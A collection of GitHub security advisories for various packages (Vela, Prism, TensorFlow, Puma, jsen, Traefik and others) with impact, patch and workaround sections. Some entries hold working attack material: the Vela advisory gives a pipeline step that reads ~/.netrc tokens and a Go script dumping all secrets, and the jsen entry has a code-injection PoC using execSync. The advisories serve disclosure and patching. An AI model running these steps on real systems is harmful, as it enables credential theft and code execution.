aswin1906/github-advisory-2022 huggingface dataset:
Reject unauthorized access with GitHub PATs
Advisory: GHSA-8j3f-mhq8-gmh4
Aliases: CVE-2021-21432
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

### Impact
_What kind of vulnerability is it? Who is impacted?_

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce

1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator 
    - `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content

    
    ```yaml
    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    ```

1. Look at build logs to find the following content

    ```
    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    ```

1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`

    ```golang
    package main
    
    import (
	    "fmt"
	    "github.com/go-vela/sdk-go/vela"
	    "os"
    )
    
    func main() {
	    // create client to connect to vela
	    client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
	    if err != nil {
		    panic(err)
	    }
    
	    // add PAT to request
	    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
	    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
	    if err != nil {
		    panic(err)
	    }
    
	    for _, secret := range *secrets {
		    fmt.Println(*secret.Name)
		    fmt.Println(*secret.Value)
	    }
    }
    ```

1. Run the `main.go` with environment specific settings
   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

* Upgrade to `v0.7.5` or later

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

* No known workarounds

### References
_Are there any links users can visit to find out more?_

* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

### For more information
If you have any questions or comments about this advisory

* Email us at [vela@target.com](mailto:vela@target.com)
Cross-site Scripting in Prism
Advisory: GHSA-3949-f494-cm99
Aliases: CVE-2022-23647
Published: 2022-02-22T19:32:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L

### Impact
Prism's [Command line plugin](https://prismjs.com/plugins/command-line/) can be used by attackers to achieve an XSS attack. The Command line plugin did not properly escape its output, leading to the input text being inserted into the DOM as HTML code.

Server-side usage of Prism is not impacted. Websites that do not use the Command Line plugin are also not impacted.

### Patches
This bug has been fixed in v1.27.0.

### Workarounds
Do not use the Command line plugin on untrusted inputs, or sanitized all code blocks (remove all HTML code text) from all code blocks that use the Command line plugin.

### References
- https://github.com/PrismJS/prism/pull/3341
Cross-site scripting (XSS) in Apache ActiveMQ
Advisory: GHSA-66gw-ch5v-74v8
Aliases: CVE-2020-13947
Published: 2022-02-09T22:01:32Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

An instance of a cross-site scripting vulnerability was identified to be present in the web based administration console on the message.jsp page of Apache ActiveMQ versions 5.15.12 through 5.16.0.
Protection Mechanism Failure in Jenkins Pipeline: Shared Groovy Libraries Plugin
Advisory: GHSA-pfwp-q984-w7wh
Aliases: CVE-2022-25183
Published: 2022-02-16T00:01:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Jenkins Pipeline: Shared Groovy Libraries Plugin 552.vd9cc05b8a2e1 and earlier uses the names of Pipeline libraries to create cache directories without any sanitization, allowing attackers with Item/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM using specially crafted library names if a global Pipeline library configured to use caching already exists.
Improper Input Validation in Apache Unomi
Advisory: GHSA-v6fq-q792-j46j
Aliases: CVE-2020-11975
Published: 2022-02-09T23:20:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process.
Segfault in `simplifyBroadcast` in Tensorflow
Advisory: GHSA-gwcx-jrx4-92w2
Aliases: CVE-2022-23593
Published: 2022-02-09T23:32:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact
The [`simplifyBroadcast` function in the MLIR-TFRT infrastructure in TensorFlow](https://github.com/tensorflow/tensorflow/blob/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/compiler/mlir/tfrt/jit/transforms/tf_cpurt_symbolic_shape_optimization.cc#L149-L205) is vulnerable to a segfault (hence, denial of service), if called with scalar shapes.

```cc 
  size_t maxRank = 0;
  for (auto shape : llvm::enumerate(shapes)) {
    auto found_shape = analysis.dimensionsForShapeTensor(shape.value());
    if (!found_shape) return {};
    shapes_found.push_back(*found_shape);
    maxRank = std::max(maxRank, found_shape->size());
  }   

  SmallVector<const ShapeComponentAnalysis::SymbolicDimension*>
      joined_dimensions(maxRank);
```

If all shapes are scalar, then `maxRank` is 0, so we build an empty `SmallVector`.

### Patches
We have patched the issue in GitHub commit [35f0fabb4c178253a964d7aabdbb15c6a398b69a](https://github.com/tensorflow/tensorflow/commit/35f0fabb4c178253a964d7aabdbb15c6a398b69a).

The fix will be included in TensorFlow 2.8.0. This is the only affected version.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Information Exposure in Docker Engine
Advisory: GHSA-8fvr-5rqf-3wwh
Aliases: CVE-2015-3630
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Docker Engine before 1.6.1 uses weak permissions for (1) /proc/asound, (2) /proc/timer_stats, (3) /proc/latency_stats, and (4) /proc/fs, which allows local users to modify the host, obtain sensitive information, and perform protocol downgrade attacks via a crafted image.
Nomad Spread Job Stanza May Trigger Panic in Servers
Advisory: GHSA-6jm6-cmcp-fqjq
Aliases: CVE-2022-24684
Published: 2022-02-16T00:01:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nomad and Nomad Enterprise allows operators with job-submit capabilities to use the spread stanza in a way such that it can cause panic in Nomad servers. This vulnerability, CVE-2022-24684, was fixed in Nomad 1.0.18, 1.1.12, and 1.2.6.
personnummer/go vulnerable to Improper Input Validation
Advisory: GHSA-hv53-vf5m-8q94
Published: 2022-02-11T23:28:20Z

This vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.

The vulnerability is determined to be low severity.

### Impact

This vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  

### Patches

The issue have been patched in all repositories. The following versions should be updated to as soon as possible:

[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  
D 3.0.1  
[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  
Elixir 3.0.0  
[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  
[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  
[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  
Kotlin 1.1.0  
Lua 3.0.1  
[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  
Perl 3.0.0  
[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  
[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  
[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  
Scala 3.0.1  
Swift 1.0.1  

If you are using any of the earlier packages, please update to latest.

### Workarounds

The issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be
000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not
000x.

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)
* Email us at [Personnummer Email](mailto:security@personnummer.dev)
Puma used with Rails may lead to Information Exposure
Advisory: GHSA-rmj8-8hhh-gv5h
Aliases: CVE-2022-23634
Published: 2022-02-11T21:33:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

### Impact
Prior to `puma` version `5.6.2`, `puma` may not always call `close` on the response body. Rails, prior to version `7.0.2.2`, depended on the response body being closed in order for its `CurrentAttributes` implementation to work correctly.

From Rails:

> Under certain circumstances response bodies will not be closed, for example a bug in a webserver[1] or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.

The combination of these two behaviors (Puma not closing the body + Rails' Executor implementation) causes information leakage.

### Patches
This problem is fixed in Puma versions 5.6.2 and 4.3.11.

This problem is fixed in Rails versions 7.02.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

See: 
https://github.com/advisories/GHSA-wh98-p28r-vrc9 
for details about the rails vulnerability

Upgrading to a patched Rails _or_ Puma version fixes the vulnerability.

### Workarounds

Upgrade to Rails versions 7.02.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

The [Rails CVE](https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1) includes a middleware that can be used instead.

### References

* Rails CVE: [CVE-2022-23633](https://groups.google.com/g/ruby-security-ann/c/FkTM-_7zSNA/m/K2RiMJBlBAAJ?utm_medium=email&utm_source=footer&pli=1)

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [puma](https://github.com/puma/puma)
* See our [security policy](https://github.com/puma/puma/security/policy)
Arbitrary code execution in Apache ServiceComb java-chassis
Advisory: GHSA-px4w-rcv2-6x8x
Aliases: CVE-2020-17532
Published: 2022-02-09T22:19:00Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

When handler-router component is enabled in servicecomb-java-chassis, authenticated user may inject some data and cause arbitrary code execution.
The problem happens in versions between 2.0.0 ~ 2.1.3 and fixed in Apache ServiceComb-Java-Chassis 2.1.5
Path Traversal in SharpZipLib
Advisory: GHSA-mm6g-mmq6-53ff
Aliases: CVE-2021-32842
Published: 2022-02-01T16:23:00Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SharpZipLib (or #ziplib) is a Zip, GZip, Tar and BZip2 library. Starting version 1.0.0 and prior to version 1.3.3, a check was added if the destination file is under a destination directory. However, it is not enforced that `_baseDirectory` ends with slash. If the _baseDirectory is not slash terminated like `/home/user/dir` it is possible to create a file with a name thats begins as the destination directory one level up from the directory, i.e. `/home/user/dir.sh`. Because of the file name and destination directory constraints, the arbitrary file creation impact is limited and depends on the use case. Version 1.3.3 fixed this vulnerability.
Prototype Pollution in Ajv
Advisory: GHSA-v88g-cgmw-v5xw
Aliases: CVE-2020-15366
Published: 2022-02-10T23:30:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Expression Language Injection in Netflix Conductor
Advisory: GHSA-wfj5-2mqr-7jvv
Aliases: CVE-2020-9296
Published: 2022-02-10T23:06:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Netflix Conductor uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, different types of interpolation are supported, including Java EL expressions. If an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, they will be able to run arbitrary Java code.
Improper file downloads in Apache Tapestry
Advisory: GHSA-w9mp-p2wp-2xf7
Aliases: CVE-2020-13953
Published: 2022-02-10T20:35:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

In Apache Tapestry from 5.4.0 to 5.5.0, crafting specific URLs, an attacker can download files inside the WEB-INF folder of the WAR being run.
url-parse Incorrectly parses URLs that include an '@'
Advisory: GHSA-8v38-pw62-9cw2
Aliases: CVE-2022-0639
Published: 2022-02-18T00:00:33Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A specially crafted URL with an '@' sign but empty user info and no hostname, when parsed with url-parse, url-parse will return the incorrect href. In particular,

```js
parse(\"http://@/127.0.0.1\")
```
Will return:
```yaml
{
 slashes: true,
 protocol: 'http:',
 hash: '',
 query: '',
 pathname: '/127.0.0.1',
 auth: '',
 host: '',
 port: '',
 hostname: '',
 password: '',
 username: '',
 origin: 'null',
 href: 'http:///127.0.0.1'
 }
```
If the 'hostname' or 'origin' attributes of the output from url-parse are used in security decisions and the final 'href' attribute of the output is then used to make a request, the decision may be incorrect.
Incorrect handling of credential expiry by /nats-io/nats-server
Advisory: GHSA-4w5x-x539-ppf5
Aliases: CVE-2020-26892
Published: 2022-02-11T23:42:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


## Problem Description

NATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.

The NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.

A new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this.  The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.

The CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.


## Affected versions

#### JWT library

 * all versions prior to 1.1.0
 * fixed after nats-io/jwt PR 103 landed (2020-10-06)

#### NATS Server

 * Version 2 prior to 2.1.9
   + 2.0.0 through and including 2.1.8 are vulnerable.
 * fixed with nats-io/nats-server PRs 1632, 1635, 1645


## Impact

Time-based credential expiry did not work.


## Workaround

Have credentials which only expire after fixes can be deployed.


## Solution

Upgrade the JWT dependency in any application using it.

Upgrade the NATS server if using NATS Accounts.
`CHECK`-failures during Grappler's `SafeToRemoveIdentity` in Tensorflow
Advisory: GHSA-5f2r-qp73-37mr
Aliases: CVE-2022-23579
Published: 2022-02-10T00:33:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Impact
The Grappler optimizer in TensorFlow can be used to cause a denial of service by altering a `SavedModel` such that [`SafeToRemoveIdentity`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/optimizers/dependency_optimizer.cc#L59-L98) would trigger `CHECK` failures.

### Patches
We have patched the issue in GitHub commit [92dba16749fae36c246bec3f9ba474d9ddeb7662](https://github.com/tensorflow/tensorflow/commit/92dba16749fae36c246bec3f9ba474d9ddeb7662).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Possible SQL injection in tablelookupwizard Contao Extension
Advisory: GHSA-v3mr-gp7j-pw5w
Published: 2022-02-10T22:33:46Z

### Impact
The currently selected widget values were not correctly sanitized before passing it to the database, leading to an SQL injection possibility.

### Patches
The issue has been patched in `tablelookupwizard` version 3.3.5 and version 4.0.0.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/terminal42/contao-tablelookupwizard
* Email us at [info@terminal42.ch](mailto:info@terminal42.ch)
RosarioSIS XSS Vulnerability
Advisory: GHSA-287r-574x-f4h4
Aliases: CVE-2021-45416
Published: 2022-02-02T00:01:46Z

Reflected Cross-site scripting (XSS) vulnerability in RosarioSIS 8.2.1 allows attackers to inject arbitrary HTML via the search_term parameter in the modules/Scheduling/Courses.php script.
Generation of Error Message Containing Sensitive Information in Snipe-IT
Advisory: GHSA-pwwm-pwx2-2hw7
Aliases: CVE-2022-0622
Published: 2022-02-18T00:00:37Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Snipe-IT prior to version 5.3.11 is vulnerable to Generation of Error Message Containing Sensitive Information.
OS Command Injection in node-key-sender
Advisory: GHSA-4xrw-wvmq-8jmh
Aliases: CVE-2020-7627
Published: 2022-02-10T23:46:11Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

node-key-sender through 1.0.11 is vulnerable to Command Injection. It allows execution of arbitrary commands via the 'arrParams' argument in the 'execute()' function.
Injection in Apache Archiva
Advisory: GHSA-v83p-xwm9-v4g8
Aliases: CVE-2020-9495
Published: 2022-02-10T23:06:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Apache Archiva login service before 2.2.5 is vulnerable to LDAP injection. A attacker is able to retrieve user attribute data from the connected LDAP server by providing special values to the login form. With certain characters it is possible to modify the LDAP filter used to query the LDAP users. By measuring the response time for the login request, arbitrary attribute data can be retrieved from LDAP user objects.
Cookie exposure in requestretry
Advisory: GHSA-hjp8-2cm3-cc45
Aliases: CVE-2022-0654
Published: 2022-02-24T00:00:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository fgribreau/node-request-retry prior to 7.0.0 via cookies being leaked to external sites.
Out of bounds read in Tensorflow
Advisory: GHSA-9x52-887g-fhc2
Aliases: CVE-2022-23594
Published: 2022-02-09T23:32:41Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Impact
The [TFG dialect of TensorFlow (MLIR)](https://github.com/tensorflow/tensorflow/tree/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/ir/importexport) makes several assumptions about the incoming `GraphDef` before converting it to the MLIR-based dialect.

If an attacker changes the `SavedModel` format on disk to invalidate these assumptions and the `GraphDef` is then converted to MLIR-based IR then they can cause a crash in the Python interpreter. Under certain scenarios, heap OOB read/writes are possible.
    
These issues have been discovered via fuzzing and it is possible that more weaknesses exist. We will patch them as they are discovered.
        
### Patches
We have patched the issue in multiple GitHub commits and these will be included in TensorFlow 2.8.0 and TensorFlow 2.7.1, as both are affected.
      
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Agent-to-controller security bypass in Jenkins HashiCorp Vault Plugin
Advisory: GHSA-fm6q-97gw-c4wh
Aliases: CVE-2022-25186
Published: 2022-02-16T00:01:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins HashiCorp Vault Plugin 3.8.0 and earlier implements functionality that allows agent processes to retrieve any Vault secrets for use on the agent, allowing attackers able to control agent processes to obtain Vault secrets for an attacker-specified path and key.
NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
Advisory: GHSA-h6gw-r52c-724r
Published: 2022-02-09T23:38:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Impact 
The [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. This allows malicious users to read and write outside of bounds of heap allocated data as well as trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures).

This follows after CVE-2021-41208 where these APIs were still vulnerable to multiple security issues.

**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs.  Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. 
  
These APIs are now deprecated in TensorFlow 2.8. We will remove TensorFlow's boosted trees APIs in subsequent releases.
  
### Patches
We have patched the known issues in multiple GitHub commits.
  
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

This should allow users to use existing boosted trees APIs for a while until they migrate to [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests), while guaranteeing that known vulnerabilities are fixed.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
These vulnerabilities have been reported by Yu Tian of Qihoo 360 AIVul Team and Faysal Hossain Shezan from University of Virginia. Some of the issues have been discovered internally after a careful audit of the APIs.
Prototype Pollution in mout
Advisory: GHSA-pc58-wgmc-hfjr
Aliases: CVE-2020-7792
Published: 2022-02-09T22:49:10Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

This affects all versions of package mout. The deepFillIn function can be used to 'fill missing properties recursively', while the deepMixIn 'mixes objects into the target object, recursively mixing existing child objects as well'. In both cases, the key used to access the target object recursively is not checked, leading to a Prototype Pollution.
Cross-site Scripting in librenms
Advisory: GHSA-rp34-85x3-3764
Aliases: CVE-2022-0576
Published: 2022-02-15T00:02:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Generic in Packagist librenms/librenms prior to 22.1.0.
Prototype Pollution in object-extend
Advisory: GHSA-m639-9whg-fw97
Aliases: CVE-2021-23702
Published: 2022-02-19T00:01:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The package object-extend from 0.0.0 through 0.5.0 is vulnerable to Prototype Pollution via object-extend.
Multi-Factor Authentication issue in Laravel Fortify
Advisory: GHSA-6w4v-qr4m-97gg
Aliases: CVE-2022-25838
Published: 2022-02-25T00:01:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Laravel Fortify before 1.11.1 allows reuse within a short time window, thus calling into question the "OT" part of the "TOTP" concept.
Cross-site Scripting in livehelperchat
Advisory: GHSA-h2fj-77wh-fh5w
Aliases: CVE-2022-0612
Published: 2022-02-17T00:00:36Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Cross-site Scripting (XSS) - Stored in Packagist remdex/livehelperchat prior to 3.93v.
Improper escaping in XWiki Platform
Advisory: GHSA-p93c-h8qm-7256
Aliases: CVE-2020-13654
Published: 2022-02-09T22:32:29Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

XWiki Platform before 12.8 mishandles escaping in the property displayer.
Business Logic Errors in microweber
Advisory: GHSA-c5gj-w4hx-gvmx
Aliases: CVE-2022-0688
Published: 2022-02-21T00:00:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Microweber prior to 1.2.11 can suffer from insecure direct object reference(s). A malicious actor can remove items from a victim's cart.
Improper synchronization in Apache Netbeans HTML/Java API
Advisory: GHSA-ppc3-fpvh-7396
Aliases: CVE-2020-17534
Published: 2022-02-09T22:25:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

There exists a race condition between the deletion of the temporary file and the creation of the temporary directory in `webkit` subproject of HTML/Java API version 1.7. A similar vulnerability has recently been disclosed in other Java projects and the fix in HTML/Java API version 1.7.1 follows theirs: To avoid local privilege escalation version 1.7.1 creates the temporary directory atomically without dealing with the temporary file.
Prototype Pollution in litespeed.js and appwrite/server-ce
Advisory: GHSA-v9p9-535w-4285
Aliases: CVE-2021-23682
Published: 2022-02-17T00:00:32Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This affects the package litespeed.js before 0.3.12; the package appwrite/server-ce from 0.12.0 and before 0.12.2, before 0.11.1. When parsing the query string in the getJsonFromUrl function, the key that is set in the result object is not properly sanitized leading to a Prototype Pollution vulnerability.
Use of Hard-coded Cryptographic Key in Netmaker
Advisory: GHSA-6rrw-4fm9-rghv
Aliases: CVE-2022-0664
Published: 2022-02-19T00:01:36Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Netmaker prior to versions 0.8.5, 0.9.4, 0.10.0, and 0.10.1 uses a hard-coded cryptographic key.
Skip the router TLS configuration when the host header is an FQDN
Advisory: GHSA-hrhx-6h34-j5hc
Aliases: CVE-2022-23632
Published: 2022-02-16T22:30:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

### Impact

People that configure mTLS between Traefik and clients.

For a request, the TLS configuration choice can be different than the router choice, which implies the use of a wrong TLS configuration.

- When sending a request using FQDN handled by a router configured with a dedicated TLS configuration, the TLS configuration falls back to the default configuration that might not correspond to the configured one.

- If the CNAME flattening is enabled, the selected TLS configuration is the SNI one and the routing uses the CNAME value, so this can skip the expected TLS configuration.

### Patches

Traefik v2.6.x: https://github.com/traefik/traefik/releases/tag/v2.6.1

### Workarounds

Add the FDQN to the host rule:

Example:

```yml
  whoami:
    image: traefik/whoami:v1.7.1
    labels:
      traefik.http.routers.whoami.rule: Host(`whoami.example.com`, `whoami.example.com.`)
      traefik.http.routers.whoami.tls: true
      traefik.http.routers.whoami.tls.options: mtls@file
```

There is no workaround if the CNAME flattening is enabled.

### For more information

If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
Code Injection in jsen
Advisory: GHSA-vm64-cfqx-3698
Aliases: CVE-2020-7777
Published: 2022-02-10T20:18:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a `Function.apply();`, leading to an Arbitrary Code Execution.

### PoC
```js
const jsen = require('jsen');
let schema = JSON.parse(
{ &quot;type&quot;: &quot;object&quot;, &quot;properties&quot;: { &quot;username&quot;: { &quot;type&quot;: &quot;string&quot; } }, &quot;required&quot;: [&quot;\\&quot;+process.mainModule.require(\&#39;child_process\&#39;).execSync(\&#39;touch malicious\&#39;)+\\&quot;&quot;] }
);

const validate = jsen(schema); validate({});
```
Protection Mechanism Failure in Jenkins Pipeline: Shared Groovy Libraries Plugin
Advisory: GHSA-7w2w-fwpf-9m4h
Aliases: CVE-2022-25181
Published: 2022-02-16T00:01:32Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

A sandbox bypass vulnerability in Jenkins Pipeline: Shared Groovy Libraries Plugin 552.vd9cc05b8a2e1 and earlier allows attackers with Item/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM through crafted SCM contents, if a global Pipeline library already exists.
Integer overflow in Tensorflow
Advisory: GHSA-c94w-c95p-phf8
Aliases: CVE-2022-23575
Published: 2022-02-10T00:32:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Impact
The [implementation of `OpLevelCostEstimator::CalculateTensorSize`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1552-L1558) is vulnerable to an integer overflow if an attacker can create an operation which would involve a tensor with large enough number of elements:
```cc
int64_t OpLevelCostEstimator::CalculateTensorSize(
    const OpInfo::TensorProperties& tensor, bool* found_unknown_shapes) {
  int64_t count = CalculateTensorElementCount(tensor, found_unknown_shapes);
  int size = DataTypeSize(BaseType(tensor.dtype()));
  VLOG(2) << "Count: " << count << " DataTypeSize: " << size;
  return count * size;
}
```
Here, `count` and `size` can be large enough to cause `count * size` to overflow.

### Patches
We have patched the issue in GitHub commit [fcd18ce3101f245b083b30655c27b239dc72221e](https://github.com/tensorflow/tensorflow/commit/fcd18ce3101f245b083b30655c27b239dc72221e).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
